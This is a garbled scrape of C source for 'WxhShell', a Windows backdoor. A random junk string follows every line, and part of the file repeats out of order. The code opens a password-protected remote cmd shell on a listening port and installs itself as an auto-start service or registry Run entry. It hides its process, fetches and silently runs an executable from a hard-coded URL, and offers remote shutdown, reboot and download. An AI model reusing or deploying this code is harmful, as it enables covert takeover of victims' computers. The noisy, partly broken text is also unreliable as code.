    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); < .knM  
    if(Boot(SHUTDOWN)) lK"m|Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $VNj0i. Pr  
    else { yR$ld.[uf  
    closesocket(wsh); jzb%?8ZJ  
    ExitThread(0); |6o!]~&e$1  
    } pybE0]   
    break; #<o=W#[  
    } X4dxH_@  
  // 获取shell ^hRx{A  
  case 's': { ojG;[@V  
    CmdShell(wsh); p6AF16*f0  
    closesocket(wsh); i}=n6  
    ExitThread(0); von<I  
    break; ,vcd>"PK  
  } y{g"w  
  // 退出 {g7~e {2  
  case 'x': { OSY.$$IO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M"s+k  
    CloseIt(wsh); :x[SV^fw[  
    break; ep)O|_=  
    } H~<w*[uT  
  // 离开 pQCocy  
  case 'q': { PR3&LI;B*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PdqyNn=  
    closesocket(wsh); ZE:!>VXa87  
    WSACleanup(); QruclNW{Bv  
    exit(1); ?^gq  
    break; >!3r7LgK  
        } ;)23@6{R%  
  } $i|d=D&t  
  }  wzf  
pB:/oHV  
  // 提示信息 0Z1';A3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Id^)WEK4  
} ,!vI@>nhG  
  } ddzMwucjp  
`DS7J\c$  
  return;  %X* *(  
} r) g:-[Ox9  
FSD~Q&9&  
// shell模块句柄 F10TvJ U  
int CmdShell(SOCKET sock) [9d4 0>e  
{ `Rx\wfr}  
STARTUPINFO si; %V|n2/O Y  
ZeroMemory(&si,sizeof(si)); /2>.*H_2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NnRX0]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &a!MT^anA~  
PROCESS_INFORMATION ProcessInfo; !X4m6gRaP  
char cmdline[]="cmd"; CLgfNrW~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uN@El1ouY  
  return 0; 9?tG?b0  
} p+#]Jr  
S0w:R:q}L  
// 自身启动模式 !:3X{)4  
int StartFromService(void) V.}3d,Em%]  
{ YB]{gm2  
typedef struct S+bpWA  
{ 8 k )i-&R  
  DWORD ExitStatus; '0<9+A#  
  DWORD PebBaseAddress; Sf'uKSX1%  
  DWORD AffinityMask; D}~uxw;[^  
  DWORD BasePriority; !W/"Z!k  
  ULONG UniqueProcessId; ^4Tf6Fw#  
  ULONG InheritedFromUniqueProcessId; k!py*noy  
}   PROCESS_BASIC_INFORMATION; a: 2ezxP  
_6.Y3+7I  
PROCNTQSIP NtQueryInformationProcess; |_m N:(3  
Jd28/X5&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w5`EJp8MC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `Sal-|[Cv[  
& ^;3S*p  
  HANDLE             hProcess; o[%\W  
  PROCESS_BASIC_INFORMATION pbi; . "Q}2  
6,~]2H'zq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y' RQ_Gi  
  if(NULL == hInst ) return 0; R!rj:f!>  
~EM(*k._  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rUg|5EN^)d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tE<'*o'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'fPDODE  
u]Z;Q_=  
  if (!NtQueryInformationProcess) return 0; 7O,!67+^~  
e.WKf,e"X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wwE3N[  
  if(!hProcess) return 0; r"!xI  
<UwYI_OX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6 IRa$h>H  
@plh'f}  
  CloseHandle(hProcess); M{g.x4M@W  
zy`T! $  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r3 dGXiu  
if(hProcess==NULL) return 0; ) uTFId  
O=}d:yZb!  
HMODULE hMod; Sq]QRI/  
char procName[255]; -tA_"q'^  
unsigned long cbNeeded; Mc{-2  
z) x.6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z8`Y}#Za[  
uM,R+)3  
  CloseHandle(hProcess); -z">ov-)  
V1yP{XT=  
if(strstr(procName,"services")) return 1; // 以服务启动 $|t={s34  
hC?rHw H>  
  return 0; // 注册表启动 %Ix2NdC  
} n(W&GSj|u9  
[l}H%S   
// 主模块 x/0loW?q^  
int StartWxhshell(LPSTR lpCmdLine) t==\D?Rt  
{ y@rg_Paq  
  SOCKET wsl; 6+4SMf3  
BOOL val=TRUE; <c$rfjM+JU  
  int port=0; iKu4s  
  struct sockaddr_in door; #, h0K  
W3jwc{lj  
  if(wscfg.ws_autoins) Install(); c7D{^$L9 v  
z9E*1B+  
port=atoi(lpCmdLine); <R?S  
u.Tknw-X  
if(port<=0) port=wscfg.ws_port; s8dP=_ `  
Z1_F)5pn  
  WSADATA data; :eIQF7-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0i>p1/kv  
~ R eX$9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >[l2KD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1A[(RT]  
  door.sin_family = AF_INET; VfwH:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6!SW]#sD  
  door.sin_port = htons(port); O8~RfB  
L{oG'aK4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &ET$ca`j#  
closesocket(wsl); $Z3{D:-)  
return 1; QH_Ds,oH=  
} v#?;PyeF  
 dZX;k0  
  if(listen(wsl,2) == INVALID_SOCKET) { 'Y/kF1,*  
closesocket(wsl); &Q*  7  
return 1; }WhRJr`a  
} wVs"+4l<  
  Wxhshell(wsl); ^^F 8M0k3  
  WSACleanup(); ]Y@_2`  
jVh:Bw  
return 0; WF:4p]0~)  
V9jxmu F,  
} %/ "yt}"|  
2#ZqGf.'v  
// 以NT服务方式启动 Bo\~PV[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8tVSai8[  
{ x~=Mn%Ew0  
DWORD   status = 0; Ze <)B *  
  DWORD   specificError = 0xfffffff; 8Ltl32JSB[  
Yr>0Qg],  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b1;h6AeL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -/2B fIq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @$iZ9x6t  
  serviceStatus.dwWin32ExitCode     = 0; = 5[%%Lf  
  serviceStatus.dwServiceSpecificExitCode = 0; nw_s :  
  serviceStatus.dwCheckPoint       = 0; L4Kg%icz l  
  serviceStatus.dwWaitHint       = 0; al9( 9)  
_%Yi ^^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Uq~b4X$  
  if (hServiceStatusHandle==0) return; UD.ZnE{"  
efE=5%O  
status = GetLastError(); ":q+"*fy  
  if (status!=NO_ERROR) *Ms&WYN-  
{ I;n <) >  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5{#s<%b.  
    serviceStatus.dwCheckPoint       = 0; =iH9=}aBFC  
    serviceStatus.dwWaitHint       = 0; [$td:N *  
    serviceStatus.dwWin32ExitCode     = status; jo3(\Bq  
    serviceStatus.dwServiceSpecificExitCode = specificError; u-tD_UIck  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^qi+Y)dU|  
    return; 9hssI ZO  
  } KuW>^mF(I  
RAnF=1[v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]0BX5Z'  
  serviceStatus.dwCheckPoint       = 0; oo BBg@  
  serviceStatus.dwWaitHint       = 0; S^ D7}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *?$M=tH  
} n`@dk_%yI  
&SNH1b#>E  
// 处理NT服务事件,比如:启动、停止 ' sNiJ>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .Z#/%y3S  
{ ec/>LJDX7  
switch(fdwControl) L62%s[  
{ K|OPtYeb  
case SERVICE_CONTROL_STOP: z 2jC48~  
  serviceStatus.dwWin32ExitCode = 0; >2= Y 35j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7WUv  O  
  serviceStatus.dwCheckPoint   = 0; nA{yH}D4  
  serviceStatus.dwWaitHint     = 0; C|2|OTtQ  
  { &,=FPlTC=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e6bh,BwgQq  
  } UvM4-M%2JN  
  return; \WbQS#Z9  
case SERVICE_CONTROL_PAUSE: _*n `*"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m OE!`fd  
  break; FD&^nJ_{  
case SERVICE_CONTROL_CONTINUE: J#ClQ%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L[A?W  
  break; r ;MFVj{  
case SERVICE_CONTROL_INTERROGATE: aEh9 za  
  break; :YOo"3.]  
}; %K.rrn M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N3*1,/,l .  
} G "!v)o  
?L0k|7  
// 标准应用程序主函数 9_,f)2)~W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1Lk(G9CoY  
{ /HS"{@Z"h  
0FY-e~xr  
// 获取操作系统版本 &%GAPs%  
OsIsNt=GetOsVer(); mwyB~,[d+W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A_WaRYG  
F3]VSI6^E,  
  // 从命令行安装 nm& pn*1  
  if(strpbrk(lpCmdLine,"iI")) Install(); MB $aN':  
<VQ)}HW;k  
  // 下载执行文件 1r_V$o$  
if(wscfg.ws_downexe) { ;ISe@ yR;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eO(U):C2  
  WinExec(wscfg.ws_filenam,SW_HIDE); hqlQ-aytS  
} Pqw<nyC.  
^6R(K'E}  
if(!OsIsNt) { U*E)y7MY  
// 如果时win9x,隐藏进程并且设置为注册表启动 \G7F/$g  
HideProc(); awvP;F?q|  
StartWxhshell(lpCmdLine); @6UZC-M0  
} >T c\~l  
else c#"t.j<E}  
  if(StartFromService()) zH6@v +gb  
  // 以服务方式启动 2%6 >)|  
  StartServiceCtrlDispatcher(DispatchTable); {7c'%e  
else F?05+  
  // 普通方式启动 #p55/54ZI  
  StartWxhshell(lpCmdLine); iU37LODa2T  
M8<Vd1-5  
return 0; deVnAu =  
} y+w,j]  
{j;` wN  
w= n(2M56C  
J 7G-qF\  
=========================================== tq3Rc}  
%>_6&A{K,d  
@\XeRx;  
Ie(.T2K  
_MLf58  
%D8.uGsh  
" 3+s$K(%I  
pMy:h   
#include <stdio.h> .-/IV^lGv  
#include <string.h> .|5$yGEF_+  
#include <windows.h> QkW'tU\^  
#include <winsock2.h> /*k_`3L  
#include <winsvc.h> FKz5,PeL  
#include <urlmon.h> wT6zeEV~*  
< F;+A{M)  
#pragma comment (lib, "Ws2_32.lib") uOJqj{k_."  
#pragma comment (lib, "urlmon.lib") Iv*\8?07)  
FVBAB>   
#define MAX_USER   100 // 最大客户端连接数 u:2Ll[ eo  
#define BUF_SOCK   200 // sock buffer x: _[R{B  
#define KEY_BUFF   255 // 输入 buffer |*UB/8C^/!  
ZV+tHgzlv5  
#define REBOOT     0   // 重启 M}#DX=NZc  
#define SHUTDOWN   1   // 关机 H?8'(  
(.V),NKG  
#define DEF_PORT   5000 // 监听端口 {?IbbT  
9A} *  
#define REG_LEN     16   // 注册表键长度 #Xox2{~  
#define SVC_LEN     80   // NT服务名长度 FE&:?  
\yFUQq:  
// 从dll定义API wW1\{<hgr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4C%pKV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <Nqbp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {.jW"0U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y$\|rD^f  
matna  
// wxhshell配置信息 c>{QTI:]  
struct WSCFG { '!8-/nlv1  
  int ws_port;         // 监听端口 ocJG4#  
  char ws_passstr[REG_LEN]; // 口令 RK &>!^  
  int ws_autoins;       // 安装标记, 1=yes 0=no @v2ko5  
  char ws_regname[REG_LEN]; // 注册表键名 A$5M.  
  char ws_svcname[REG_LEN]; // 服务名 FA$32*v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rf:H$\yw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q=xXj'W-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ){"?@1vP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p^|l ',e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,&WwADZ-s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =urGs`\  
vQK/xg  
}; bIyg7X)/  
\rzMgR$/rj  
// default Wxhshell configuration uHSnZ"#  
struct WSCFG wscfg={DEF_PORT, 6`@J=Q?  
    "xuhuanlingzhe", #o4tG  
    1, -dBWpT  
    "Wxhshell", 2a48(~<_  
    "Wxhshell", U|%}B(  
            "WxhShell Service", 3U+FXK#6  
    "Wrsky Windows CmdShell Service", CCe>*tdf  
    "Please Input Your Password: ", 9%iQ~   
  1, LrbD%2U$j5  
  "http://www.wrsky.com/wxhshell.exe", A8Q^y AP^  
  "Wxhshell.exe" {#k[-\|;  
    }; CL4N/[UM  
~~h#2SX  
// 消息定义模块 ~8u *sy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "^\q{S&q2P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s) shq3O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dM^Z,; u  
char *msg_ws_ext="\n\rExit."; #Ir?v  
char *msg_ws_end="\n\rQuit."; diY7<u#  
char *msg_ws_boot="\n\rReboot..."; R8Vf6]s_  
char *msg_ws_poff="\n\rShutdown..."; Q'jw=w!|g  
char *msg_ws_down="\n\rSave to "; ikV;]ox  
={zTQ+7S`  
char *msg_ws_err="\n\rErr!"; 3EICdC  
char *msg_ws_ok="\n\rOK!"; ^.!jD+=I  
hyf ;f7`o  
char ExeFile[MAX_PATH]; %NxQb'  
int nUser = 0; \>- M&C  
HANDLE handles[MAX_USER]; }QE*-GVv]  
int OsIsNt; u/u(Z&  
3^+D,)#D^  
SERVICE_STATUS       serviceStatus; U*$xR<8v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @i;)`k5b  
?e<2'\5v  
// 函数声明 }ARA K^%  
int Install(void); `{G&i\"n  
int Uninstall(void); >9dD7FH  
int DownloadFile(char *sURL, SOCKET wsh); ! I0xq"  
int Boot(int flag); =#S.t:HQ*  
void HideProc(void); JN|6+.GG  
int GetOsVer(void); 1d<Uwb>  
int Wxhshell(SOCKET wsl); aY>v  
void TalkWithClient(void *cs); R; c9)>8L  
int CmdShell(SOCKET sock); nJ2x;';lA  
int StartFromService(void); PU/<7P*  
int StartWxhshell(LPSTR lpCmdLine); 96(Mu% l  
7*{f*({  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L!If~6oD(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZhA_d#qH  
@5S'5)4pB  
// 数据结构和表定义 Q7$o&N{  
SERVICE_TABLE_ENTRY DispatchTable[] = "a8E0b  
{ /D3{EjUE=  
{wscfg.ws_svcname, NTServiceMain}, zTw"5N  
{NULL, NULL} _y^r==  
}; 2H)4}5H  
rQVX^  
// 自我安装 @a?7D;+<  
int Install(void) '|zrzU=  
{ 9_?xAJ  
  char svExeFile[MAX_PATH]; :lcq3iFn  
  HKEY key; 0- )K_JV  
  strcpy(svExeFile,ExeFile); v\Uk?V5T  
n|~y >w4  
// 如果是win9x系统,修改注册表设为自启动 rR> X<  
if(!OsIsNt) { + O.-o/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Go)$LC0Mi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &3[oM)-V  
  RegCloseKey(key); }oRBQP^&K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tNi>TkC}`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >CqzC8JF  
  RegCloseKey(key); ukW&\  
  return 0; FQDf?d5  
    } [X.bR$>  
  } vA1Yya B  
} 3 !@  
else { "d_wu#fO)  
kt/,& oKI  
// 如果是NT以上系统,安装为系统服务 s{Z)<n03  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MY^{[ #Q  
if (schSCManager!=0) F~mIV;BP  
{ J,2V&WuV0r  
  SC_HANDLE schService = CreateService D0r viO  
  ( 147QB+cE  
  schSCManager, CI'RuR3y]Z  
  wscfg.ws_svcname, iAwEnQ3h  
  wscfg.ws_svcdisp, ^a4z*#IOr  
  SERVICE_ALL_ACCESS, x;n3 Zr;(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D(AH3`*|#  
  SERVICE_AUTO_START, 6}"c4 ^k6  
  SERVICE_ERROR_NORMAL, dI{DiPho  
  svExeFile, a[-!X7,IU  
  NULL, 69g{oo  
  NULL, 'dLw8&T+W  
  NULL, !*N9PUM  
  NULL, <1D|TrP  
  NULL ]%' AZ`8  
  ); m+TAaK  
  if (schService!=0) 1UP=(8j/  
  { tJ\ $%  
  CloseServiceHandle(schService); hH8&g%{2  
  CloseServiceHandle(schSCManager); $ F2Uv\7=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dZU#lg  
  strcat(svExeFile,wscfg.ws_svcname); c{1;x)L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^,>w`8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o|kykxcq  
  RegCloseKey(key); 5X)8Nwbc  
  return 0; xh;V4zK@`  
    } e5|lz.o;  
  } FZr/trP~  
  CloseServiceHandle(schSCManager); 9zu;OK%  
} )/T[Cnx.Nc  
} HZyA\FS  
oN7SmP_  
return 1; Z}J5sifr  
} oJ74Mra  
z0[XI7KK  
// 自我卸载 r )F;8(  
int Uninstall(void) h.jJAVPi  
{ 4l$OO;B  
  HKEY key; |kYlh5/c d  
] G&*HMtp  
if(!OsIsNt) { b(iF0U>&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )kpEcMlR  
  RegDeleteValue(key,wscfg.ws_regname); N~v6K}`}  
  RegCloseKey(key); wVBK Vb9N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Z[1m[{  
  RegDeleteValue(key,wscfg.ws_regname); d1<";b2Jt^  
  RegCloseKey(key); -50DGA,K6  
  return 0; ;CYoc4e  
  } <^5!]8*O  
} 2{-29bq  
} bdg6B7%Q  
else { ^#9385  
zBF~:Uc`B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u_(~zs.N]  
if (schSCManager!=0) ;tjOEmIiU  
{ `JySuP2~/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 36 "n7  
  if (schService!=0) {213/@,  
  { aZOn01v;!&  
  if(DeleteService(schService)!=0) { wPlM= .Hq?  
  CloseServiceHandle(schService); jm}CrqU  
  CloseServiceHandle(schSCManager); QJ|@Y(KV0  
  return 0; Ipp_}tl_  
  } R'>!1\?Iq  
  CloseServiceHandle(schService); ON :t"z5  
  } Bn}woyJdx  
  CloseServiceHandle(schSCManager); \T7Mt|f:5  
} (jT)o,IW&  
} Y6` xb`  
1EyN |m|  
return 1; k# [!; <  
} <LHhs <M'  
l5[5Y6c>  
// 从指定url下载文件 2Ez<Iw  
int DownloadFile(char *sURL, SOCKET wsh) E9:@H;Gc  
{ #[+# bw_6  
  HRESULT hr; ]I?.1X5d0  
char seps[]= "/"; uO%0rKW  
char *token; 2|nm> 4  
char *file; @N=vmtLP  
char myURL[MAX_PATH]; hFrMOc&  
char myFILE[MAX_PATH]; OM86C  
Y t(D  
strcpy(myURL,sURL); 9]4Q@%  
  token=strtok(myURL,seps); sPH 2KwEv  
  while(token!=NULL) $%bSRvA  
  { l/.{F;3F  
    file=token; 5 \mRH  
  token=strtok(NULL,seps); uYh!04u  
  } 02;jeZ#z  
/0s1;?  
GetCurrentDirectory(MAX_PATH,myFILE); 3$|/7(M&DA  
strcat(myFILE, "\\"); Pvxb6\G&d  
strcat(myFILE, file); -`O{iHfM|P  
  send(wsh,myFILE,strlen(myFILE),0); AGlBvRX7e  
send(wsh,"...",3,0); G@]3EP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hfcpqa  
  if(hr==S_OK) Jj4 HJ9  
return 0; I2Xd"RHN  
else @\K[WqF$$q  
return 1; vsY?q8+P  
WtT;y|W  
} 8=8 hbdy;  
lx)^wAO4  
// 系统电源模块 @DN/]P  
int Boot(int flag) 8&<mg;H,  
{ w,UE0i9I  
  HANDLE hToken; J4Gzp~{  
  TOKEN_PRIVILEGES tkp; *uvM6F$ut  
?uWUs )9  
  if(OsIsNt) { ,81%8r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  vy<W4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +|A`~\@N  
    tkp.PrivilegeCount = 1; 9vI~vl l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w"hd_8cO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BU`X_Z1)  
if(flag==REBOOT) { -f+#j=FX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l_I)d7   
  return 0; Gm~([Ln{  
} ohx[_}xN  
else { / *0t_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7^L  
  return 0; ) .~ "  
} Kk3+ ]W<  
  } p3s i\Fm!  
  else { f ULt4  
if(flag==REBOOT) { '{&Q&3J_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RSX27fb4  
  return 0; 9YzV48su#  
} #;[G>-tC  
else { [vg&E )V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bo0U  
  return 0; Pv -4psdw  
} r!:yUPv  
} |iM,bs  
HsY5wC  
return 1; -3Kh >b)  
} 6o't3Peh  
U4D7@KY +m  
// win9x进程隐藏模块 rH@Rh}#yp  
void HideProc(void) \8vP"Kr  
{ a4Q@sn;]  
}(EH5jZ'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e3I""D{)[=  
  if ( hKernel != NULL ) /jv/qk3i  
  { 5.rAxdP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $dC`keQM>9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Sd7jd?#9'  
    FreeLibrary(hKernel); uwe#& V-  
  } H:fKv7XL  
I}C2;[aB  
return; v$ ti=uk$  
} m2]N%Y  
o[Iu9.zJpy  
// 获取操作系统版本 f{BF%;  
int GetOsVer(void) AuNUW0/ 7  
{ 4f LRl-)  
  OSVERSIONINFO winfo; \xYVnjG,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4Aj~mA  
  GetVersionEx(&winfo); SNj-h>&Mha  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q}U+BTCZ  
  return 1; VfU"%0x  
  else (r|m&/  
  return 0; sJ6.3= c  
} F8pA)!AH  
=uP? ?E  
// 客户端句柄模块 ( bwD:G9  
int Wxhshell(SOCKET wsl) )+ .=z  
{ yRXML\Ge  
  SOCKET wsh; X%Ok ">  
  struct sockaddr_in client; b3A0o*  
  DWORD myID; R1];P*>%gZ  
BT7{]2?&V  
  while(nUser<MAX_USER) VD=H=Ju  
{ p-4$)w~6i  
  int nSize=sizeof(client); mixsJ}e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PTe L3L  
  if(wsh==INVALID_SOCKET) return 1; *X0>Ru[  
|{9<%Ok4P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); abo=v<mR  
if(handles[nUser]==0) ,i:?c  
  closesocket(wsh); !XPjRdq  
else W[2]$TwT  
  nUser++; aOD h5  
  } pz%s_g'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Af3|l  
#U:|- a.>  
  return 0; !M^O\C)  
} VLuHuih  
erH,EE^-x<  
// 关闭 socket )/RG-L  
void CloseIt(SOCKET wsh) 4'QX1p  
{ uw;Sfx,s  
closesocket(wsh); x|O7}oj  
nUser--; v,w af`)J  
ExitThread(0); Giyh( DL  
} {&5lZ<nu8A  
&8$v~  
// 客户端请求句柄 *5)UIRd  
void TalkWithClient(void *cs) >Hf{Mx{<  
{ \jfK']P/H  
1!z{{H;W  
  SOCKET wsh=(SOCKET)cs; 'Lu<2=a~  
  char pwd[SVC_LEN]; eiMP:  
  char cmd[KEY_BUFF]; *yBVZD|?H  
char chr[1]; %8*:VR  
int i,j; z\ZnxZ@  
DY2*B"^  
  while (nUser < MAX_USER) { / VYT](  
"&6vFmr  
if(wscfg.ws_passstr) { ~ZKJ:&f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eF+F"|1h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'f( CN3.!  
  //ZeroMemory(pwd,KEY_BUFF); 64B.7S88  
      i=0; <>HtXn/  
  while(i<SVC_LEN) { x^ `/&+m  
w;'XqpP$*|  
  // 设置超时 ~?\U];l  
  fd_set FdRead; q?!HzZ  
  struct timeval TimeOut; JL M Xkcc  
  FD_ZERO(&FdRead); =gVMt  
  FD_SET(wsh,&FdRead); {irc0gI  
  TimeOut.tv_sec=8; 0'o[ 2,  
  TimeOut.tv_usec=0; <h -)zI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZJDV'mC}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ema[M5$R  
qo [[P)tq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ 4`aONydl  
  pwd=chr[0]; 0 qS/>u*  
  if(chr[0]==0xd || chr[0]==0xa) { sOhn@*X  
  pwd=0; Qs1CK;+zU  
  break; p:08q B|uQ  
  } ?%,LZw^[  
  i++; T5:Q_o]  
    } 5wue2/gl  
78l);/E{v  
  // 如果是非法用户,关闭 socket yCQvo(V[F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wAHuPQ&_Q  
} I=!kPuw  
@2E52$zu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )Cy>'l*Og7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hF'VqJS  
u@Hz7Q} P  
while(1) { $_S-R 3L\  
#)'Iqaq7  
  ZeroMemory(cmd,KEY_BUFF); )LGVR 3#  
. 1kB8&}  
      // 自动支持客户端 telnet标准   OBWb0t5H?  
  j=0; D!.c??   
  while(j<KEY_BUFF) { Y(UK:LZ'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,`f]mv l  
  cmd[j]=chr[0]; Im6gWDdq@6  
  if(chr[0]==0xa || chr[0]==0xd) { v0 C+DKi  
  cmd[j]=0; |]G%b[  
  break; <|r|s  
  }  }u8(7  
  j++; Ta\F~$M  
    } u8c@q'_  
Sr \y1nt  
  // 下载文件 #B\s'j[A"  
  if(strstr(cmd,"http://")) { 2"D4q(@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k A3K   
  if(DownloadFile(cmd,wsh)) t oGiG|L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w[X-Q+7p(t  
  else rl}<&aPH  
